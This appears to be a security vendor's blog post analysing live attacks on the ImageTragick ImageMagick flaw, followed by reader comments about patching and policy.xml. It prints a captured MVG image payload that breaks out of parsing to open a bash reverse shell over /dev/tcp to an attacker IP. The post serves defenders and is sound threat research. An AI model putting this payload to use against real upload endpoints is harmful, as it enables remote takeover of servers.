Three days ago the ImageMagic (also known as, ImageTragick) vulnerability was released to the world. We’ve been actively monitoring this vulnerability, and have discovered a few different attacks targeting it. Interestingly enough, the attacks themselves seem to be aimed at specific customers as opposed to mass blanket attacks, which is what you’d expect when these type of serious and easy to exploit vulnerabilities are disclosed.
This is an example of where the severity of a vulnerability alone is not enough to determine its true impact. We have to extend our scope over a few different factors, including the ability to exploit at scale and potential dependencies. For instance, with ImageTragick, to effectively apply the vulnerability an attacker requires file upload permissions. These are generally restricted to subscribers and administrators, which by design negatively impacts the ability to perform a mass exploit across the web. Additionally, there aren’t that many open-source and public Content Management Systems (CMS) that use ImageMagick by default. This drastically reduces the potential attack surface – something required to see mass attacks.
Despite being serious, ImageTragick has not been as tragic as originally forecasted (at least not yet).
Exploit in the Wild
What has been interesting is monitoring what the attackers are doing based on the data we’ve been analyzing. We were specifically interested in how attackers would take advantage of the remote code execution (RCE) vulnerability.
We found an interesting exploit attempt. The attackers are using a bot that is scanning for multiple file upload URLs (including /upload.php and /imgupload.php) and sending the following JPG file:
At first glance, you’d think it was benign. That’s why we have to look at the content of the image. Instead of a JPG image (as expected from the file type), the attacker had modified the image content, changing the file content to MVG. Embedded within the image, they included this:
push graphic-context viewbox 0 0 640 480 fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/184.108.40.206/443 0<&1 2>&1")'
If you recall, the RCE vulnerability was specific to the way it parsed MVG files, which allows a remote attacker to break out of the image manipulation flow and execute their own shell commands.
In this example, which we are seeing in the wild, they are running the following command:
setsid /bin/bash -i >/dev/tcp/106.186.30.XX/443
This creates a reverse shell to 106.186.30.XX – an IP registered on Linode. It is likely being used as a command and control for the servers they manage to hack.
The HTTP requests are coming from an IP address from Taiwan, on the 220.127.116.11/24 range:
netname: HINET-NET descr: Data Communication Business Group, descr: Chunghwa Telecom Co.,Ltd. descr: No.21, Sec.1, Xinyi Rd., Taipei City descr: 10048, Taiwan
We are curious to see how this continues to evolve. In the past we’ve seen different things happen. Some start with very modest targeted tests and others with more aggressive mass exploit attempts. Because this vulnerability specifically seems to be lacking a few critical elements, like accessibility, it could explain why we’re seeing a slower, more cautious, poke-and-prod approach.
This definitely doesn’t mean you shouldn’t patch. In fact, knowing there are active attacks should be good reason to update sooner rather than later, especially with the patch process being straightforward. If you’re a customer on the Sucuri Firewall you are already patched via our virtual patching engine.
Do you know if there is fix for this issue on Centos 5.x based servers which use ImageMagick 18.104.22.168, where there is no such thing as policy.xml ?
The file is unrelated to the company that packed it. It may be not under /etc but rather under /usr/local/etc
The policy defining functionality seems to be missing (doesn’t matter the file name). Here is an example from a Centos 5.X server:
root@server [~]# convert -list policy
convert: unrecognized list type `policy’.
A sweet reveal. This should hopefully help to clarify how some of the attempted exploits may operate. Thank you for the research and example.
The Internet is a better place with you in it.
That means a lot. Thanks!
Tawian is not China at least not if you ask Taiwanese citizens, why are you saying it originates from China?
Good point, getting it fixed.
Comments are closed.